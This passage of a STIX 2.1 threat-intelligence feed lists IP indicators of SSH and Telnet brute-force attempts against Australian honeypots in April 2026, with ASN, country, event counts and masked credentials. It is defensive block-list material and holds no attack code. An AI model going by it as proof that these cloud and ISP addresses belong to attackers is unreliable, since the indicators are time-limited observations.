      "valid_from": "2026-04-18T18:15:04.000Z",
      "valid_until": "2026-05-20T18:15:02.000Z"
    },
    {
      "created": "2026-04-18T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********8, H**********************3.",
      "id": "indicator--a13a65f8-371e-4102-95d3-24067255c88f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.233.51.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:15:04.000Z",
      "valid_until": "2026-05-20T19:15:02.000Z"
    },
    {
      "created": "2026-04-18T19:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): a***n, r**t. Passwords observed (masked): k*******************S.",
      "id": "indicator--4d7b7e9d-7e86-4541-b626-271a9c22e70f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.210.182.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:15:04.000Z",
      "valid_until": "2026-05-20T19:15:02.000Z"
    },
    {
      "created": "2026-04-18T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--0753d160-8820-44e8-bfe5-3b897a57f39e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.35.224.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:15:04.000Z",
      "valid_until": "2026-05-20T20:15:02.000Z"
    },
    {
      "created": "2026-04-18T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 140191. Organisation(s): Vande Mahamaya Cable Network. Usernames observed (masked): r**t, s****r, 3**********4, ***, ***. Passwords observed (masked): 1*******?, 3***********4, 3**********4, A*******r, B****!.",
      "id": "indicator--95255191-f035-49a1-9e88-34d0ed6fdae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.156.204.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:15:04.000Z",
      "valid_until": "2026-05-20T20:15:02.000Z"
    },
    {
      "created": "2026-04-18T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c45565df-cff0-4b89-83c1-6fa56de6b386",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.20.210.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:15:04.000Z",
      "valid_until": "2026-05-20T20:15:02.000Z"
    },
    {
      "created": "2026-04-18T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--40b41990-12ce-42de-8e33-4351d78c5ac4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.183.31.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:15:04.000Z",
      "valid_until": "2026-05-20T20:15:02.000Z"
    },
    {
      "created": "2026-04-18T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--f74016d0-b6ac-4401-a6be-fa9e76e8e0eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.233.242.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T20:15:04.000Z",
      "valid_until": "2026-05-20T20:15:02.000Z"
    },
    {
      "created": "2026-04-18T21:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--f9a4427f-c946-4eb8-9af4-ef36ef9df820",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T21:15:03.000Z",
      "valid_until": "2026-05-20T21:15:01.000Z"
    },
    {
      "created": "2026-04-18T21:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--ab2e03f4-0e9f-4cf6-a63d-84785aedbd8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T21:15:03.000Z",
      "valid_until": "2026-05-20T21:15:01.000Z"
    },
    {
      "created": "2026-04-18T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 40065. Organisation(s): CNSERVERS LLC. Usernames observed (masked): r**t, 3**********4, d****y, f*****r, t**t. Passwords observed (masked): 3***********4, 3**********4, 0*******2, 1******C, A********5.",
      "id": "indicator--df8faed3-3f00-4fd7-8dd0-f4de71d1b800",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.20.223.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:15:04.000Z",
      "valid_until": "2026-05-20T22:15:01.000Z"
    },
    {
      "created": "2026-04-18T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 268. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, t**t, 3**********4, s*******r, T**t. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1******8.",
      "id": "indicator--517f266a-de78-4dfc-aad9-cf4f10abec51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.243.24.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:15:04.000Z",
      "valid_until": "2026-05-20T22:15:01.000Z"
    },
    {
      "created": "2026-04-18T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 173. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, t**t, u**r, ***, 3**********4. Passwords observed (masked): 1******Z, ***, 3***********4, 3**********4, D***7.",
      "id": "indicator--d7df4aea-803b-4f10-930a-a0ba296a4e3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.82.92.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:15:04.000Z",
      "valid_until": "2026-05-20T22:15:01.000Z"
    },
    {
      "created": "2026-04-18T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--17280afd-0480-4797-9e0c-1896e349a628",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.16.112.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:15:04.000Z",
      "valid_until": "2026-05-20T22:15:01.000Z"
    },
    {
      "created": "2026-04-18T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--2947b8da-ba5c-4b74-b781-79ea653af2a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:15:04.000Z",
      "valid_until": "2026-05-20T22:15:01.000Z"
    },
    {
      "created": "2026-04-18T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 28548. Organisation(s): Cablevision, S.A. de C.V.. Usernames observed (masked): r**t, t**t, 3**********4, T**t, a***n. Passwords observed (masked): 1***5, 1****6, 1******8, 2****2, 3***********4.",
      "id": "indicator--37c13370-a4f9-4cc1-bf50-f3019412a143",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.217.130.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:15:04.000Z",
      "valid_until": "2026-05-20T22:15:01.000Z"
    },
    {
      "created": "2026-04-18T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, d****y, f*****r, t**t. Passwords observed (masked): 3***********4, 3**********4, 1******C, F*******!, H*********$.",
      "id": "indicator--015e6ab3-bbff-4960-b9d8-0d45a9ec7641",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.144.12.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:15:04.000Z",
      "valid_until": "2026-05-20T22:15:01.000Z"
    },
    {
      "created": "2026-04-18T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--0d934a2f-a804-4cad-826e-f0d53768e8a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.222.128.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T22:15:04.000Z",
      "valid_until": "2026-05-20T22:15:01.000Z"
    },
    {
      "created": "2026-04-18T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--214aa2aa-2989-4c2d-b93e-60ccf9cd77cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T23:15:04.000Z",
      "valid_until": "2026-05-20T23:15:01.000Z"
    },
    {
      "created": "2026-04-18T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--95204f06-889c-4b13-92e2-8b41a2411723",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-18T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.11.240.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T23:15:04.000Z",
      "valid_until": "2026-05-20T23:15:01.000Z"
    },
    {
      "created": "2026-04-19T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--c98a3b5f-436c-457c-8996-c6dd37c6cfd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.105.209.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:15:10.000Z",
      "valid_until": "2026-05-21T00:15:01.000Z"
    },
    {
      "created": "2026-04-19T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3504b270-0aca-41a4-a788-60b339657091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.166.41.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:15:10.000Z",
      "valid_until": "2026-05-21T00:15:01.000Z"
    },
    {
      "created": "2026-04-19T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--a3d2dbea-1bd5-406e-82d9-389f816659d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:15:10.000Z",
      "valid_until": "2026-05-21T00:15:01.000Z"
    },
    {
      "created": "2026-04-19T01:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--df2d7557-b607-438c-99ad-73ddefd5da2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.1.105.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:15:03.000Z",
      "valid_until": "2026-05-21T01:15:01.000Z"
    },
    {
      "created": "2026-04-19T01:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--4a98cbc5-1c38-4fcb-a437-4a6eb2eab5db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T01:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '54.86.134.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T01:15:03.000Z",
      "valid_until": "2026-05-21T01:15:01.000Z"
    },
    {
      "created": "2026-04-19T02:16:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--1c3a55a9-5e40-45d2-8543-262859c51c9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T02:16:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T02:16:21.000Z",
      "valid_until": "2026-05-21T02:15:01.000Z"
    },
    {
      "created": "2026-04-19T02:16:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T02:16:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T02:16:21.000Z",
      "valid_until": "2026-05-21T02:15:01.000Z"
    },
    {
      "created": "2026-04-19T02:16:21.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--d0393dc1-3913-4211-9208-f2ee55924668",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T02:16:21.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.237.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T02:16:21.000Z",
      "valid_until": "2026-05-21T02:15:01.000Z"
    },
    {
      "created": "2026-04-19T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9bd038b5-eb1c-447e-aa92-2878415da22a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.54.125.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:15:03.000Z",
      "valid_until": "2026-05-21T03:15:01.000Z"
    },
    {
      "created": "2026-04-19T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14117. Organisation(s): Telefonica del Sur S.A.. Usernames observed (masked): a***n, r**t. Passwords observed (masked): k*******************S.",
      "id": "indicator--437e1864-f20a-4d96-b1a1-de851a9c25d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.126.105.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:15:03.000Z",
      "valid_until": "2026-05-21T03:15:01.000Z"
    },
    {
      "created": "2026-04-19T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--dc01dc02-e48e-4a77-8944-6b383105729e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.94.92.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:15:03.000Z",
      "valid_until": "2026-05-21T03:15:01.000Z"
    },
    {
      "created": "2026-04-19T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--8dec0623-45f1-4017-8404-eacbfafc1dfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:15:03.000Z",
      "valid_until": "2026-05-21T03:15:01.000Z"
    },
    {
      "created": "2026-04-19T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 213035. Organisation(s): Des Capital B.V..",
      "id": "indicator--7dea1523-4eee-4e89-855d-e7aa56b51ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.121.69.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T04:15:10.000Z",
      "valid_until": "2026-05-21T04:15:08.000Z"
    },
    {
      "created": "2026-04-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--91f296e8-b62f-47bf-ac6f-1cfcb8d76b12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T05:15:03.000Z",
      "valid_until": "2026-05-21T05:15:02.000Z"
    },
    {
      "created": "2026-04-19T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c4f799eb-4212-4c47-8870-f26eaee8dbde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T05:15:03.000Z",
      "valid_until": "2026-05-21T05:15:02.000Z"
    },
    {
      "created": "2026-04-19T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): f*****r, r**t, u***s. Passwords observed (masked): 1****6, R******$, f*************d.",
      "id": "indicator--7bc4f29d-bce2-4579-9c7b-9eda6b6fc7b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.13.122.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
